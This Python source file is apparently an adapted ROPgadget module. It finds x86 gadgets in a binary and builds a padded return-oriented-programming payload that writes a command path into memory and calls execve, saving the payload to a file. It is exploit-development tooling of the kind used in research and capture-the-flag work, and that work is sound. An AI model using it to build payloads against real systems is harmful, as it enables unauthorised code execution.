#!/usr/bin/env python2
## -*- coding: utf-8 -*-
##
##  Jonathan Salwan - 2014-05-13
## 
##  http://shell-storm.org
##  http://twitter.com/JonathanSalwan
## 

import re
from   capstone import *
from textwrap import wrap
import sys
from struct import pack


class ROPMakerX86(object):
    def __init__(self, binary, gadgets, paddingLen, outFile, execPath, liboffset=0x0):
        self.__binary   = binary
        self.__gadgets  = gadgets
        self.paddingLen = paddingLen
        self.outFile    = outFile
        self.execPath   = execPath

        # If it's a library, we have the option to add an offset to the addresses
        self.__liboffset = liboffset

        self.__generate()


    def __lookingForWrite4Where(self, gadgetsAlreadyTested):
        for gadget in self.__gadgets:
            if gadget in gadgetsAlreadyTested:
                continue
            f = gadget["gadget"].split(" ; ")[0]
            # regex -> mov dword ptr [r32], r32
            regex = re.search("mov dword ptr \[(?P<dst>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))\], (?P<src>([(eax)|(ebx)|(ecx)|(edx)|(esi)|(edi)]{3}))$", f)
            if regex:
                lg = gadget["gadget"].split(" ; ")[1:]
                try:
                    for g in lg:
                        if g.split()[0] != "pop" and g.split()[0] != "ret":
                            raise
                        # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
                        if g != "ret":
                            if g.split()[0] == "ret" and g.split()[1] != "":
                                raise
                    print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
                    return [gadget, regex.group("dst"), regex.group("src")]
                except:
                    continue
        return None

    def __lookingForSomeThing(self, something):
        for gadget in self.__gadgets:
            lg = gadget["gadget"].split(" ; ")
            if lg[0] == something:
                try:
                    for g in lg[1:]:
                        if g.split()[0] != "pop" and g.split()[0] != "ret":
                            raise
                        # we need this to filterout 'ret' instructions with an offset like 'ret 0x6', because they ruin the stack pointer
                        if g != "ret":
                            if g.split()[0] == "ret" and g.split()[1] != "":
                                raise
                    print("# [+] Gadget found: 0x%x %s" %(gadget["vaddr"], gadget["gadget"]))
                    return gadget
                except:
                    continue
        return None

    def __padding(self, gadget, regAlreadSetted):
        p = b""

        lg = gadget["gadget"].split(" ; ")
        for g in lg[1:]:
            if g.split()[0] == "pop":
                reg = g.split()[1]
                try:
                    p = pack("<I", regAlreadSetted[reg])
                except KeyError:
                    p = pack("<I", 0x41414141)

        return p

    def __buildRopChain(self, write4where, popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall):

        sects = self.__binary.getDataSections()
        dataAddr = None
        for s in sects:
            if s["name"] == ".data":
                dataAddr = s["vaddr"] + self.__liboffset
        if dataAddr == None:
            print("\n# [-] Error - Can't find a writable section")
            return

        # prepend padding
        p = bytes('A' * self.paddingLen, "ascii")

        command = self.execPath
        # split command into chunks of 4, prepend with /s as necessary
        if len(command) % 4 > 0:
            command = (4 - (len(command) % 4)) * "/" + command
        command_chunks = wrap(command, 4)

        # write the command
        address = 0
        offset = 0
        for i, chunk in enumerate(command_chunks):
            offset = (i * 4)
            address = dataAddr + offset

            p += pack("<I", popDst['vaddr'])

            p += pack("<I", address)
            p += self.__padding(popDst, {})

            p += pack("<I", popSrc['vaddr'])
            p += bytes(chunk, "ascii")
            p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst

            p += pack("<I", write4where['vaddr'])
            p += self.__padding(write4where, {})

        offset += 4
        address += 4

        # write null byte after command string
        p += pack("<I", popDst['vaddr'])
        p += pack("<I", address)
        p += self.__padding(popDst, {})

        p += pack("<I", xorSrc["vaddr"])
        p += self.__padding(xorSrc, {})

        p += pack("<I", write4where["vaddr"])
        p += self.__padding(write4where, {})

        p += pack("<I", popEbx["vaddr"])
        p += pack("<I", dataAddr) # @ .data
        p += self.__padding(popEbx, {})

        # write end + 4, after the null bytes
        p += pack('<I', popDst['vaddr'])
        p += pack('<I', address + 4) # @ .data + {offset + 4}
        p += self.__padding(popDst, {})

        # write the data base address, which is the start of argv
        p += pack('<I', popSrc['vaddr'])
        p += pack('<I', dataAddr) # @ .data
        p += self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst

        # perform the write: eax -> [edx]
        p += pack('<I', write4where['vaddr']) # {write4where['gadget']}")
        p += self.__padding(write4where, {})


        # ARGV MUST BE FOLLOWED BY NULL POINTER
        p += pack('<I', popDst['vaddr']) # { popDst['gadget'] }
        p += pack('<I', address + 8) # @ .data + {offset + 8}
        p += self.__padding(popDst, {})

        p += pack('<I', xorSrc["vaddr"])
        p += self.__padding(xorSrc, {})

        p += pack('<I', write4where["vaddr"])
        p += self.__padding(write4where, {})


        ## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL


        p += pack('<I', popEcx["vaddr"])
        p += pack('<I', address + 4) # @ .data + {offset + 4}
        p += self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx

        p += pack('<I', popEdx["vaddr"])
        p += pack('<I', address) # @ .data + {offset}
        p += self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx

        p += pack('<I', xorEax["vaddr"])
        p += self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx

        # 11 = execve
        for i in range(11):
            p += pack('<I', incEax["vaddr"])
            p += self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx

        p += pack('<I', syscall["vaddr"])


        with open(self.outFile, "wb") as f:
            f.write(p)

    def __generate(self):

        # To find the smaller gadget
        self.__gadgets.reverse()

        print("\n# ROP chain generation\n# ===========================================================")

        print("\n# - Step 1 -- Write-what-where gadgets\n")

        gadgetsAlreadyTested = []
        while True:
            write4where = self.__lookingForWrite4Where(gadgetsAlreadyTested)
            if not write4where:
                print("# [-] Can't find the 'mov dword ptr [r32], r32' gadget")
                return

            popDst = self.__lookingForSomeThing("pop %s" %(write4where[1]))
            if not popDst:
                print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[1]))
                gadgetsAlreadyTested += [write4where[0]]
                continue

            popSrc = self.__lookingForSomeThing("pop %s" %(write4where[2]))
            if not popSrc:
                print("# [-] Can't find the 'pop %s' gadget. Try with another 'mov [reg], reg'\n" %(write4where[2]))
                gadgetsAlreadyTested += [write4where[0]]
                continue

            xorSrc = self.__lookingForSomeThing("xor %s, %s" %(write4where[2], write4where[2]))
            if not xorSrc:
                print("# [-] Can't find the 'xor %s, %s' gadget. Try with another 'mov [r], r'\n" %(write4where[2], write4where[2]))
                gadgetsAlreadyTested += [write4where[0]]
                continue
            else:
                break

        print("\n# - Step 2 -- Init syscall number gadgets\n")

        xorEax = self.__lookingForSomeThing("xor eax, eax")
        if not xorEax:
            print("# [-] Can't find the 'xor eax, eax' instruction")
            return

        incEax = self.__lookingForSomeThing("inc eax")
        if not incEax:
            print("# [-] Can't find the 'inc eax' instruction")
            return

        print("\n# - Step 3 -- Init syscall arguments gadgets\n")

        popEbx = self.__lookingForSomeThing("pop ebx")
        if not popEbx:
            print("# [-] Can't find the 'pop ebx' instruction")
            return

        popEcx = self.__lookingForSomeThing("pop ecx")
        if not popEcx:
            print("# [-] Can't find the 'pop ecx' instruction")
            return

        popEdx = self.__lookingForSomeThing("pop edx")
        if not popEdx:
            print("# [-] Can't find the 'pop edx' instruction")
            return

        print("\n# - Step 4 -- Syscall gadget\n")

        syscall = self.__lookingForSomeThing("int 0x80")
        if not syscall:
            print("# [-] Can't find the 'syscall' instruction")
            return

        print("\n# - Step 5 -- Build the ROP chain\n")

        self.__buildRopChain(write4where[0], popDst, popSrc, xorSrc, xorEax, incEax, popEbx, popEcx, popEdx, syscall)